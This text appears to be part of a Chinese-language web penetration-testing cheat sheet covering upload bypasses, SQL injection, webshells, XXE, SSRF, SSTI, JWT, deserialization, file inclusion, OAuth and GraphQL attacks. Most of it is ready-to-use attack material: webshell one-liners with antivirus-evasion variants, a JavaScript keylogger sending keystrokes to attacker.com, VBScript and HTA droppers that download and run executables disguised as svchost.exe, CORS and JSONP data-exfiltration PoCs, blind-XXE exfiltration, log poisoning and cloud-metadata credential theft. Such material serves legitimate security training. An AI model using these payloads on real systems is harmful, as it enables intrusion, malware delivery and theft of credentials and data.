# 上传路径: /upload/shell.gif
# 文件包含: http://target.com/page.php?file=/upload/shell.gif
# PHP include/require 会将 .gif 内容当作 PHP 执行!
# getimagesize() 仅检查文件头,不检查文件尾部
# 在图片尾部追加 PHP 代码即可绕过
黑白名单绕过技术
| 绕过技术 | 说明 | 示例 |
|---|---|---|
| 特殊后缀 | 使用可解析但不常见的扩展名 | .php3, .php4, .php5, .phtml, .pht |
| 大小写混淆 | Windows 对大小写不敏感 | shell.PHP, shell.Php, shell.pHp |
| 空格绕过 | 文件名末尾加空格 | shell.php (末尾空格) |
| 点号绕过 | 文件名末尾加点 | shell.php. |
| ::DATA 绕过 | Windows NTFS 流 | shell.php::$DATA |
| 双写绕过 | 过滤规则只替换一次 | shell.pphphp → shell.php |
| %00 截断 | NULL字节截断 (PHP < 5.3.4) | shell.php%00.jpg |
| .htaccess | 上传配置文件控制解析 | SetHandler application/x-httpd-php |
# 黑名单绕过示例 (upload靶场 Pass-03):
# 黑名单: .asp .php .aspx .jsp
# 绕过: 使用 .php5 后缀
# Burp抓包 → 修改文件名 → 1.php → 1.php5 → Forward
# 大小写绕过 (Pass-06):
# 代码: $file_ext = strtolower($file_ext); # 先转小写
# 但没过滤大小写 → shell.PHP (Windows不区分)
# .htaccess 绕过 (Pass-04):
# 上传 .htaccess 文件内容:
SetHandler application/x-httpd-php
# 效果: 当前目录所有文件均以PHP解析
# → 上传 shell.jpg → 被当作PHP执行 → 蚁剑连接
%00 截断绕过白名单
# 场景 (upload靶场 Pass-12):
# 白名单: 仅允许 .jpg/.png/.gif
# 上传后随机修改文件名
# %00 截断原理:
# 0x00 是ASCII码为0的字符 (NULL)
# 某些函数将0x00作为字符串结束符
# 系统读文件名遇到0x00 → 认为读取结束
# 1.php%00.jpg → 上传时按.jpg处理 → 服务器端截断为1.php
# 前提: PHP < 5.3.4 + magic_quotes_gpc = Off
# Burp Suite 操作:
# 上传 shell.jpg → 拦截
# 修改文件名: shell.php%00.jpg
# (在Hex编辑器中把%00改为0x00字节)
# Forward → 上传文件变为 shell.php
图片马 + 文件包含 组合利用
# 场景: 目标有文件上传(限制严格) + 文件包含漏洞
# 上传: 只允许图片, getimagesize() 验证
# 包含: include/require 将任何文件当PHP执行
# 步骤1: 制作图片马
# Windows: copy /b 1.jpg + 1.php 2.jpg
# Linux: cat 1.jpg 1.php > 2.jpg
# 步骤2: 上传 2.jpg → 成功 (通过getimagesize验证)
# 路径: /upload/20230216.jpg
# 步骤3: 利用文件包含执行
# http://target.com/view.php?file=upload/20230216.jpg
# 图片马中的PHP代码被执行
# file.php (包含漏洞页面):
# <?php include(\$_GET['file']); ?>
# 蚁剑连接:
# http://target.com/view.php?file=upload/20230216.jpg
# 密码: cmd
Google Hacking — 搜索引擎渗透技术
利用Google高级搜索语法进行信息收集、敏感文件发现和漏洞挖掘
Google Hacking 核心语法
| 操作符 | 用途 | 示例 |
|---|---|---|
| site: | 限定搜索域名 | site:target.com |
| intitle: | 搜索网页标题 | intitle:"index of" |
| inurl: | 搜索URL关键词 | inurl:admin |
| filetype: | 指定文件类型 | filetype:pdf confidential |
| intext: | 搜索正文内容 | intext:"password" |
| cache: | 查看缓存页面 | cache:target.com |
| link: | 查找链接 | link:target.com |
| related: | 查找相关网站 | related:target.com |
GHDB — Google Hacking Database
# 搜索敏感目录
intitle:"Index of" "parent directory"
intitle:"Index of" "backup"
intitle:"Index of /admin"
# 搜索配置文件
filetype:env "DB_PASSWORD"
filetype:ini "password"
filetype:conf "password"
filetype:sql "password"
# 搜索登录页面
intitle:"login" inurl:admin
inurl:"/phpmyadmin/index.php"
# 搜索暴露的摄像头
intitle:"Live View / - AXIS"
intitle:"Network Camera NetworkCamera"
# 搜索SQL注入点
inurl:".php?id="
inurl:".asp?id="
# 搜索敏感文档
filetype:xls "username | password"
filetype:pdf "confidential"
filetype:doc "classified"
自动化Google Hacking工具
# 使用GooFuzz进行自动化搜索
goofuzz -t target.com -o results.txt
# 使用Pagodo生成Google Dork列表
git clone https://github.com/opsdisk/pagodo.git
cd pagodo
python3 pagodo.py -g ghdb_scategories.txt -j 5
# 使用waybackurls + dork扫描
waybackurls target.com | grep -E "\.php\?|\.asp\?|\.jsp\?" > urls.txt
SQL注入经典技术
从基础到高级 — 联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入
SQL注入分类与技术矩阵
| 类型 | 原理 | 适用场景 |
|---|---|---|
| 联合查询注入 | 使用UNION合并结果集 | 页面直接显示查询结果 |
| 报错注入 | 利用数据库错误信息回显 | 有错误回显 |
| 布尔盲注 | 根据页面返回差异判断 | 无数据回显但有页面差异 |
| 时间盲注 | 利用延时函数推断结果 | 无任何回显 |
| 堆叠注入 | 分号分隔多语句执行 | 数据库支持多语句 |
| 二次注入 | 存储恶意数据后触发 | 输入转义但取出后拼接到SQL |
联合查询注入完整流程
# 步骤1: 判断注入类型
?id=1' # 单引号测试
?id=1" # 双引号测试
?id=1' --+ # 注释符测试
# 步骤2: 判断列数 (ORDER BY)
?id=1 ORDER BY 1--+ # 正常
?id=1 ORDER BY 10--+ # 报错 → 列数小于10
# 步骤3: 确定回显位置 (UNION SELECT)
?id=-1 UNION SELECT 1,2,3,4,5--+
# 页面显示2和3 → 第2、3列可回显
# 步骤4: 获取数据库信息
?id=-1 UNION SELECT 1,database(),user(),4,5--+
# 步骤5: 获取表名
?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()--+
# 步骤6: 获取列名
?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_name='users'--+
# 步骤7: 获取数据
?id=-1 UNION SELECT 1,username,password,4,5 FROM users--+
报错注入核心Payload
# MySQL — extractvalue (最多32字符)
?id=1' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--+
# MySQL — updatexml
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())),1)--+
# MySQL — floor报错
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+
# MSSQL — convert转换
?id=1' AND 1=convert(int,(SELECT @@version))--
时间盲注自动化
# MySQL 时间盲注
?id=1' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))>100,sleep(3),0)--+
# 使用SQLMap进行自动化盲注
sqlmap -u "http://target.com/page.php?id=1" \
--technique=T \
--level=5 --risk=3 \
--threads=10 --dbs
Webshell深度解析
一句话木马、Webshell管理工具、绕过检测、内存马技术全解析
经典一句话木马对比
| 语言 | 一句话木马 | 连接工具 |
|---|---|---|
| PHP | <?php @eval($_POST['cmd']);?> | 蚁剑/冰蝎/哥斯拉 |
| ASP | <%eval request("cmd")%> | 蚁剑 |
| ASPX | <%@Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%> | 蚁剑 |
| JSP | <% Runtime.getRuntime().exec(request.getParameter("cmd"));%> | 冰蝎 |
PHP Webshell免杀变形
# 基础变形
<?php $_GET['a']($_GET['b']);?> # ?a=system&b=id
# assert变形
<?php assert($_POST['cmd']);?>
# 字符串拼接免杀
<?php $a = 'as'.'sert'; $a($_POST['cmd']);?>
# Base64编码免杀
<?php eval(base64_decode('JF9QT1NUWydjbWQnXQ=='));?>
# 可变变量免杀
<?php $k='ev'.'al'; $v=$_POST['pass']; $k($v);?>
# 回调函数免杀
<?php array_map('assert', array($_POST['cmd']));?>
# create_function注入
<?php $f = create_function('',$_POST['cmd']);$f();?>
Webshell管理工具对比
| 工具 | 特点 | 流量特征 | 免杀能力 |
|---|---|---|---|
| 蚁剑 (AntSword) | 开源、模块化 | 明文传输 | 基础 |
| 冰蝎 (Behinder) | 动态密钥、AES加密 | 加密二进制 | 强 |
| 哥斯拉 (Godzilla) | 多种载荷、内存马 | 高度自定义加密 | 极强 |
| Weevely | Python生成+30+模块 | Base64混淆 | 中等 |
内存马技术
# Java Filter型内存马
# 通过动态注册Filter实现无文件落地Webshell
# 关键技术:获取ServletContext → 动态创建Filter → addFilter注册
# 无需写入磁盘文件,重启即消失
# Godzilla内存马注入
# 利用Java Agent动态修改字节码
# 注入Tomcat/Spring内存马
JS/VBS客户端攻击技术
恶意JavaScript/VBScript脚本编写、浏览器利用、社会工程攻击
JavaScript键盘记录器
<script>
var keys = '';
document.onkeypress = function(e) {
keys += String.fromCharCode(e.charCode);
if (keys.length > 100) {
new Image().src = 'http://attacker.com/k?d=' + btoa(keys);
keys = '';
}
};
</script>
JavaScript端口扫描 (浏览器内)
<script>
var ports = [21,22,80,443,3306,3389,6379,8080];
for (var p of ports) {
var img = new Image();
var start = Date.now();
img.src = 'http://192.168.1.1:' + p + '/favicon.ico';
img.onerror = img.onload = function() {
var time = Date.now() - start;
if (time < 3000) console.log('Port ' + this.p + ' OPEN');
};
img.p = p;
}
</script>
VBScript下载执行木马
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
Set objADOStream = CreateObject("ADODB.Stream")
objXMLHTTP.Open "GET", "http://attacker.com/trojan.exe", False
objXMLHTTP.Send
With objADOStream
.Type = 1
.Open
.Write objXMLHTTP.ResponseBody
.SaveToFile "C:\Windows\Temp\update.exe", 2
.Close
End With
Set objShell = CreateObject("WScript.Shell")
objShell.Run "C:\Windows\Temp\update.exe", 0, False
HTA (HTML Application) 攻击
<!-- attack.hta — 双击即可执行的HTML应用 -->
<html><head>
<script>
var shell = new ActiveXObject("WScript.Shell");
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.Open("GET", "http://attacker.com/payload.exe", false);
xhr.Send();
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1; stream.Open();
stream.Write(xhr.ResponseBody);
stream.SaveToFile("C:\\Users\\Public\\svchost.exe", 2);
stream.Close();
shell.Run("C:\\Users\\Public\\svchost.exe", 0, false);
window.close();
</script>
</head></html>
Web 2.0与Ajax攻击技术
AJAX安全测试、JSON注入、跨域攻击、WebSocket安全、REST API安全
AJAX安全测试要点
# AJAX SQL注入测试
fetch('/api/users?id=' + payload)
# AJAX XSS测试
fetch('/api/search?q=' + encodeURIComponent('<script>alert(1)</script>'))
# AJAX CSRF (检查是否存在CSRF Token)
fetch('/api/delete_user', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ id: '123' })
});
# AJAX未授权访问
fetch('/api/admin/users', { credentials: 'include' })
.then(r => r.json())
.then(d => console.log('Leaked:', d));
JSON注入 (NoSQL Injection)
# MongoDB NoSQL注入
# 正常请求
{"username": "admin", "password": "password123"}
# 注入Payload
{"username": "admin", "password": {"$ne": ""}} # 密码不为空即可登录
{"username": {"$gt": ""}, "password": {"$gt": ""}} # 任意用户名密码
{"username": {"$regex": "^a"}, "password": {"$ne": ""}} # a开头的用户名
JSONP劫持
# 如果API使用JSONP回调且不检查Referer
<script>
function jsonpCallback(data) {
fetch('http://attacker.com/s', {
method: 'POST',
body: JSON.stringify(data)
});
}
</script>
<script src="http://victim.com/api?callback=jsonpCallback"></script>
REST API安全测试清单
| 测试项 | 测试方法 | 风险 |
|---|---|---|
| HTTP方法篡改 | POST改为GET/PUT/DELETE测试 | 中 |
| 批量分配 | 添加role=admin字段到请求 | 高 |
| IDOR | 修改资源ID (/users/1 → /users/2) | 高 |
| 速率限制 | 高频请求测试爆破 | 中 |
| JWT安全 | 修改算法/空密钥攻击 | 高 |
| GraphQL注入 | 内省查询+深度查询 | 高 |
| CORS配置 | Origin头修改测试 | 中 |
📄 XXE — XML 外部实体注入
XML解析器攻击 — 文件读取、SSRF、端口扫描、盲打外带、DoS
基本 XXE Payload
<!-- 文件读取 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- PHP Wrapper (base64编码读取PHP源码) -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=config.php">
]>
<!-- SSRF 内网探测 -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<!-- Blind XXE — 带外数据渗出 (参数实体) -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>trigger</root>
# evil.dtd (部署在 attacker.com 上):
# <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
# %all;
XXE 检测与利用矩阵
| 场景 | 测试 Payload | 检测信号 |
|---|---|---|
| 文件上传 (SVG/DOCX/XLSX) | 嵌入 XML 实体到文件 | 文件内容出现在响应或带外 |
| SOAP API | 修改 XML Body 添加实体 | 响应含文件内容 |
| SAML 认证 | 篡改 SAML Assertion | 认证绕过 |
| Content-Type: text/xml | 改 JSON 为 XML + 实体 | 检查XML解析器是否启用 |
| RSS/Atom 订阅 | 注入实体到订阅源 | 服务器发起外连 |
🔗 SSRF — 服务端请求伪造
攻击服务器端请求功能 — 云元数据窃取、内网探测、协议走私、Gopher攻击
绕过 SSRF 黑名单
# ===== IP 格式变体 (绕过同网段过滤) =====
http://127.0.0.1:8080/ # 标准回环
http://0177.0.0.01/ # 八进制
http://2130706433/ # 十进制 → 127.0.0.1
http://0x7f.0.0.1/ # 十六进制
http://127.0.0.1.nip.io/ # DNS指向127.0.0.1
http://[::1]/ # IPv6 回环
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
http://safedomain.com@127.0.0.1/ # URL凭据@混淆
# ===== 重定向绕过 (attacker.com → 302 → 内网) =====
# VPS 上部署:
<?php header('Location: http://169.254.169.254/latest/meta-data/'); ?>
# ===== DNS 重绑定 =====
# TTL=0 DNS 记录: evil.com → 合法IP → 解析时间为127.0.0.1
# ===== Gopher 协议 (攻击 Redis/MySQL/FastCGI) =====
gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20key%20value
# ===== Dict 协议 (端口探测) =====
dict://127.0.0.1:22/ # SSH Banner
dict://127.0.0.1:3306/ # MySQL Banner
云元数据端点
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# 需要 Header: Metadata: true
# GCP
http://metadata.google.internal/computeMetadata/v1/
# 需要 Header: Metadata-Flavor: Google
# DigitalOcean / Aliyun
http://169.254.169.254/metadata/v1.json
http://100.100.100.200/latest/meta-data/
🗂️ SSTI — 服务端模板注入
利用模板引擎获取 RCE — Jinja2/Twig/FreeMarker/Velocity/ERB
检测矩阵
# 通用检测 Payload (数学运算)
{{7*7}} → 49 存在 SSTI
${7*7} → 49
<%= 7*7 %> → 49
#{7*7} → 49
*{7*7} → 49
# Jinja2 (Python/Flask) — RCE
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read() }}
# Twig (PHP/Symfony)
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
# FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
# Velocity (Java)
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
$rt.getRuntime().exec('id')
# ERB (Ruby)
<%= system('id') %>
<%= File.open('/etc/passwd').read %>
🔐 JWT 攻击与绕过
JSON Web Token 安全 — 算法混淆、密钥爆破、kid注入、jku头篡改
JWT 六大攻击面
# ===== 1. 算法混淆 (alg:none) =====
# 原始: {"alg":"RS256","typ":"JWT"}
# 修改: {"alg":"none","typ":"JWT"} → 签名留空
# ===== 2. HMAC 密钥混淆 =====
# 当服务器: RS256公钥验证 → 改为HS256 + 公钥当密钥
# 攻击者知道公钥 → 用公钥HS256签名 → 服务器用公钥验证通过!
# ===== 3. 弱密钥爆破 =====
hashcat -m 16500 jwt.txt rockyou.txt --force
# 使用 jwt-cracker: python3 jwt-cracker.py -jwt TOKEN -w rockyou.txt
# ===== 4. kid 注入 =====
# {"kid": "/etc/passwd"} # 路径遍历
# {"kid": "../../dev/null"} # 使用空文件密钥
# {"kid": "xxx'; SELECT "hacked"--"} # SQL注入
# ===== 5. jku/jwk 头篡改 =====
# {"jku": "https://attacker.com/jwks.json"} # 指向攻击者JWKS
# {"jwk": {...}} # 内嵌攻击者公钥
# ===== 6. 过期与声明篡改 =====
# 移除 exp (过期时间)
# 修改 sub (用户ID) → admin
# 添加 role: "admin"
JWT 攻击工具
# jwt_tool — JWT渗透测试瑞士军刀
python3 jwt_tool.py TOKEN -T # 篡改测试
python3 jwt_tool.py TOKEN -X k # kid注入
python3 jwt_tool.py TOKEN -C -d wordlist.txt # 爆破密钥
# Burp Suite → JWT Editor (BApp)
# 1. 安装 JWT Editor 扩展
# 2. Repeater 中自动解析JWT
# 3. 修改Header/Payload → 重新签名/算法篡改
none 和 HS256(当预期为非对称算法时)。使用强密钥,kid 值做严格白名单校验。
🌍 CORS 跨域配置缺陷
跨域资源共享漏洞 — Origin反射、null Origin、子域名劫持、TLS终止绕过
CORS 漏洞检测与利用
# ===== 漏洞模式1: Origin 反射 =====
# Request: Origin: https://attacker.com
# Response: Access-Control-Allow-Origin: https://attacker.com
# Access-Control-Allow-Credentials: true
# → 任何Origin可读取响应 (Credentials模式)
# ===== 漏洞模式2: null Origin =====
# Request: Origin: null
# Response: Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
# → 在 sandboxed iframe / data: URI 中可触发
# ===== 漏洞模式3: 前缀匹配绕过 =====
# 目标: origin 必须以 *.trusted.com 结尾
# 绕过: attacker.com.trusted.com 或 trusted.com.attacker.com
# ===== 漏洞模式4: 未转义特殊字符 =====
# 目标: 检查后缀 trusted.com
# 绕过: 注册 trusted.com.evil.com → Origin: https://trusted.com.evil.com
# ===== 利用 PoC =====
# 攻击者页面 (attacker.com):
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://victim.com/api/user/data', true);
xhr.withCredentials = true; // 携带Cookie
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
fetch('https://attacker.com/steal?d=' + btoa(xhr.responseText));
}
};
xhr.send();
</script>
💥 反序列化漏洞
Java/PHP/Python/Node.js 反序列化 RCE — Gadget链、ysoserial、PHPGGC
Java 反序列化
# ===== 检测 =====
# 捕获序列化数据 (Base64编码的AC ED 00 05开头)
rO0ABXNy... # Java序列化数据特征
# ===== ysoserial — 生成攻击Payload =====
java -jar ysoserial.jar CommonsCollections6 'id' | base64
java -jar ysoserial.jar URLDNS 'http://attacker.com' | base64
# ===== 利用链 (常见Gadget) =====
# CommonsCollections 1-7 (Apache Commons Collections)
# CommonsBeanutils1 (Apache Commons BeanUtils)
# Spring1/2 (Spring Framework)
# Jdk7u21/Jdk8u20 (JDK 内置)
# ===== DNS带外检测 =====
java -jar ysoserial.jar URLDNS 'http://BURP_COLLABORATOR' | base64
# 在HTTP请求中发送 → 检查 DNS 记录确认漏洞
PHP 反序列化
# ===== 常见魔术方法链 =====
# __wakeup() → __destruct() → __call()
# __toString() → 任意方法调用 → RCE
# PHPGGC — PHP Generic Gadget Chains
phpggc -l # 列出所有链
phpggc Laravel/RCE1 system id # Laravel RCE
phpggc Monolog/RCE1 system id -b # Base64输出
# Python (pickle) 反序列化
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
# Node.js (node-serialize)
# 使用 IIFE 函数表达式
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id');}"}
# 修改 serialize.js/unserialize → js-exec
📂 LFI/RFI 文件包含漏洞
本地/远程文件包含 — 路径穿越、日志投毒、PHP伪协议、session文件包含
LFI 利用技术链
# ===== 基础路径穿越 =====
?page=../../../../etc/passwd
?page=....//....//....//....//etc/passwd # WAF绕过
?page=/etc/passwd%00 # Null字节截断 (PHP < 5.3.4)
# ===== PHP Wrapper 伪协议 =====
# php://filter — 读取PHP源码 (Base64)
?page=php://filter/convert.base64-encode/resource=index.php
# php://filter — RCE (链式过滤器 + 文件写入)
?page=php://filter/write=convert.base64-decode/resource=shell.php
POST: data=PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==
# php://input — 直接POST代码执行
?page=php://input
POST: <?php system('id'); ?>
# data:// — Data URI RCE
?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# expect:// — 命令执行 (需要expect扩展)
?page=expect://id
# ===== 日志投毒 → RCE =====
# 1. 在 User-Agent 中植入
curl -H "User-Agent: <?php system(\$_GET['c']); ?>" http://target.com/
# 2. 包含Apache访问日志
?page=/var/log/apache2/access.log&c=id
# 其他可投毒的日志:
# /var/log/nginx/access.log
# /proc/self/fd/2 (错误日志)
# /var/log/vsftpd.log
# /var/mail/www-data (邮件日志)
# ===== Session 文件包含 =====
# 注册账号: 用户名=<?php system($_GET['c']);?>
# 包含 session 文件 → RCE
?page=/var/lib/php/sessions/sess_PHPSESSID&c=id
RFI — 远程文件包含
# 条件: allow_url_include=On (PHP 5.2+默认Off)
?page=http://attacker.com/shell.txt
# shell.txt 内容: <?php system('id'); ?>
# 绕过 (allow_url_include=Off):
# 1. SMB共享 (Windows)
?page=\\10.0.0.5\share\shell.php
# 2. PHP input wrapper (部分版本可用)
OAuth 2.0 / OIDC 安全测试
现代身份认证协议的安全漏洞 — 从OAuth流程劫持到OIDC配置错误的完整攻击面
OAuth 2.0 授权流程回顾
| 授权模式 | 流程 | 使用场景 | 安全风险 |
|---|---|---|---|
| Authorization Code | 授权码 → 换取Token | Web应用(Server-Side) | 授权码拦截、CSRF |
| Authorization Code + PKCE | 授权码 + 验证器 | SPA/移动应用 | PKCE实现错误 |
| Implicit (已弃用) | 直接返回Token | 已不推荐 | Token在URL泄露 |
| Client Credentials | 客户端ID+Secret | 服务间通信 | Secret泄露 |
| Resource Owner Password | 用户名+密码 | 可信应用 | 凭证窃取 |
| Device Code | 设备码+轮询 | TV/IoT设备 | 设备码劫持 |
OAuth 2.0 核心攻击面
# 1. redirect_uri 验证绕过
# 正常请求
GET /authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://app.com/callback
# 攻击1: 开放重定向 (未严格匹配redirect_uri)
GET /authorize?...&redirect_uri=https://attacker.com/callback
# 如果服务器未验证 → 授权码发送到攻击者服务器
# 攻击2: 子域劫持
GET /authorize?...&redirect_uri=https://app.com.attacker.com/callback
# 利用注册表匹配缺陷
# 攻击3: 路径遍历
GET /authorize?...&redirect_uri=https://app.com/callback/../../attacker/callback
# 2. CSRF 攻击 — 强制绑定攻击者账户
<img src="https://provider.com/authorize?response_type=code&client_id=victim_app&redirect_uri=https://app.com/callback&state=CSRF_TOKEN">
# 如果state参数缺失或可预测 → 受害者登录到攻击者账户
# 3. 授权码拦截 (搭配开放重定向或Referer头泄露)
# 若redirect_uri为HTTP (非HTTPS) → 中间人截获授权码
OIDC (OpenID Connect) 安全测试
# OIDC是OAuth 2.0上的身份层
# 关键端点: /.well-known/openid-configuration
# 1. 错误的JWT验证
# 如果RP (Relying Party) 未正确验证以下内容:
# - JWT签名 (可被篡改)
# - iss (issuer) 声明
# - aud (audience) 声明
# - exp (expiration) 声明
# - nonce (防重放)
# 2. ID Token 注入
# 攻击者获取合法ID Token → 重放到另一个RP (若aud不匹配检查)
# 3. 跨站点请求伪造 (CSRF)
# 在Authorization Request中检查nonce和state参数
# 4. 账户劫持 — 未验证email_verified声明
# 若ID Token中的email未验证但RP信任该邮箱 → 账户预劫持
# OIDC安全检测脚本
import requests
def test_oidc_config(provider_url):
"""检查OIDC配置安全性"""
config_url = f"{provider_url}/.well-known/openid-configuration"
r = requests.get(config_url)
config = r.json()
issues = []
# 检查1: HTTPS强制
for endpoint in ['authorization_endpoint','token_endpoint','userinfo_endpoint']:
if config.get(endpoint,'').startswith('http://'):
issues.append(f"[HIGH] {endpoint} uses HTTP!")
# 检查2: 支持的签名算法
if 'none' in config.get('id_token_signing_alg_values_supported',[]):
issues.append("[CRITICAL] 'none' algorithm supported!")
# 检查3: 是否需要PKCE
if 'PKCE' not in str(config.get('code_challenge_methods_supported',[])):
issues.append("[MEDIUM] PKCE not advertised")
return issues
OAuth 2.0 漏洞测试清单
| 测试项 | 测试方法 | 风险 |
|---|---|---|
| redirect_uri验证 | 尝试开放重定向、子域劫持、路径遍历 | 高 |
| state参数 | 移除state参数、重放攻击 | 高 |
| PKCE验证 | 移除code_challenge、修改code_verifier | 高 |
| Token泄露 | 检查URL/Referer/日志中的Token | 中 |
| 客户端Secret | 反编译移动App/前端代码搜索 | 高 |
| 作用域提升 | 修改scope参数添加admin/敏感权限 | 高 |
| Token重放 | 多次使用同一Token、跨RP使用 | 中 |
| 吊销测试 | 登出后Token是否仍可使用 | 中 |
GraphQL 安全测试
GraphQL API特有攻击面 — 内省泄露、深度递归DoS、批量注入、权限绕过
GraphQL vs REST 安全差异
| 维度 | REST | GraphQL | GraphQL风险 |
|---|---|---|---|
| 端点 | 多个端点 (如/api/users) | 单一端点 (/graphql) | 所有请求通过一个入口,难以用WAF区分 |
| 数据量 | 服务端决定返回的数据 | 客户端决定查询的字段 | 深度递归查询可导致DoS |
| API发现 | Swagger/OpenAPI文档 | 内省查询 (Introspection) | 内省泄露完整数据模型 |
| 认证 | 按端点粒度 | 按Resolver粒度 | 若Resolver未独立鉴权 → 数据泄露 |
| 速率限制 | 按端点/方法 | 按查询复杂度 | 单次查询可执行大量操作 |
GraphQL内省攻击
# 1. 内省查询 — 获取完整Schema
# POST /graphql
{
__schema {
types { name fields { name type { name kind } } }
queryType { name }
mutationType { name }
subscriptionType { name }
}
}
# 如果内省未禁用 → 攻击者获得完整API地图:
# - 所有Query/Mutation/Subscription
# - 所有类型和字段
# - 字段参数和默认值
# - 废弃字段 (可能仍可用)
# 2. 内省信息收集脚本
import requests
def dump_graphql_schema(url):
"""通过内省获取GraphQL Schema"""
introspection_query = """
query IntrospectionQuery {
__schema {
queryType { name fields { name description } }
mutationType { name fields { name description args { name type { name kind } } } }
types { name fields { name type { name kind ofType { name } } } }
}
}"""
r = requests.post(url, json={"query": introspection_query})
return r.json()
# 使用
schema = dump_graphql_schema("https://target.com/graphql")
# 输出: 完整的API结构 → 用于发现隐藏的敏感字段
GraphQL注入攻击
# 1. GraphQL SQL注入
# 正常查询
query {
user(id: "1") { name email }
}
# 注入Payload
query {
user(id: "1' OR '1'='1") { name email password }
}
# 2. GraphQL NoSQL注入 (MongoDB)
query {
users(filter: {username: {$ne: ""}}) { username password }
}
# 3. GraphQL批量查询攻击 (Batching Attack)
# 利用一次HTTP请求发送多个查询绕过速率限制
[
{"query": "mutation { login(username:\"admin\",password:\"pass1\") { token } }"},
{"query": "mutation { login(username:\"admin\",password:\"pass2\") { token } }"},
{"query": "mutation { login(username:\"admin\",password:\"pass3\") { token } }"},
# ... 最多几百个同时发送
]
# 4. Alias-based brute force
query {
a1: login(username:"admin", password:"p1") { token }
a2: login(username:"admin", password:"p2") { token }
# ...
a100: login(username:"admin", password:"p100") { token }
}
GraphQL DoS — 深度递归查询
# 循环查询DoS (Circular Query)
# 如果Schema中存在循环引用:
query {
posts {
comments {
author {
posts {
comments {
author {
posts { # 无限递归!
title
}
}
}
}
}
}
}
}
# 防御方法:
# 1. 查询深度限制 (max depth = 5)
# 2. 查询复杂度限制 (cost analysis)
# 3. 查询超时时间 (timeout = 5s)
# 4. 速率限制
# 复杂度分析示例
class GraphQLComplexityAnalyzer:
def calculate_cost(self, query_ast):
cost = 0
for field in query_ast.fields:
if field.is_list:
cost += 10 * self.calculate_cost(field)
else:
cost += 1 + self.calculate_cost(field)
return min(cost, 1000) # max cost = 1000
GraphQL安全测试工具
# 1. Graphw00f — GraphQL指纹识别
graphw00f -t https://target.com/graphql
# 识别GraphQL引擎: Apollo, Graphene, Hasura, etc.
# 2. InQL (Burp Suite插件)
# - 自动内省查询
# - 生成所有Query/Mutation
# - 检测循环查询
# 3. BatchQL — GraphQL安全审计
batchql --url https://target.com/graphql --introspect
# 4. Clairvoyance — 即使内省禁用也能恢复Schema
clairvoyance -u https://target.com/graphql -o schema.json
# 5. CrackQL — GraphQL密码爆破
crackql -t https://target.com/graphql -w passwords.txt
# 手动测试清单
# 1. 检查内省是否启用
# 2. 测试字段建议 (Field Suggestion)
# 3. 测试批量查询绕过防火墙
# 4. 测试深度递归DoS
# 5. 测试IDOR (通过修改查询参数)
# 6. 检查敏感字段暴露 (password/token/secret)
WebSocket 安全测试
WebSocket协议攻击面 — 劫持、注入、DoS和认证绕过技术全解析
WebSocket握手与安全模型
# WebSocket握手过程 (HTTP Upgrade)
# 客户端请求:
GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.com
Cookie: session=abc123
# 服务端响应:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
# WebSocket安全特点:
# 1. 无同源策略 — 任何Origin都可以发起WebSocket连接!
# 2. 仅依赖Cookie认证 — 易受CSRF攻击 (CSWSH)
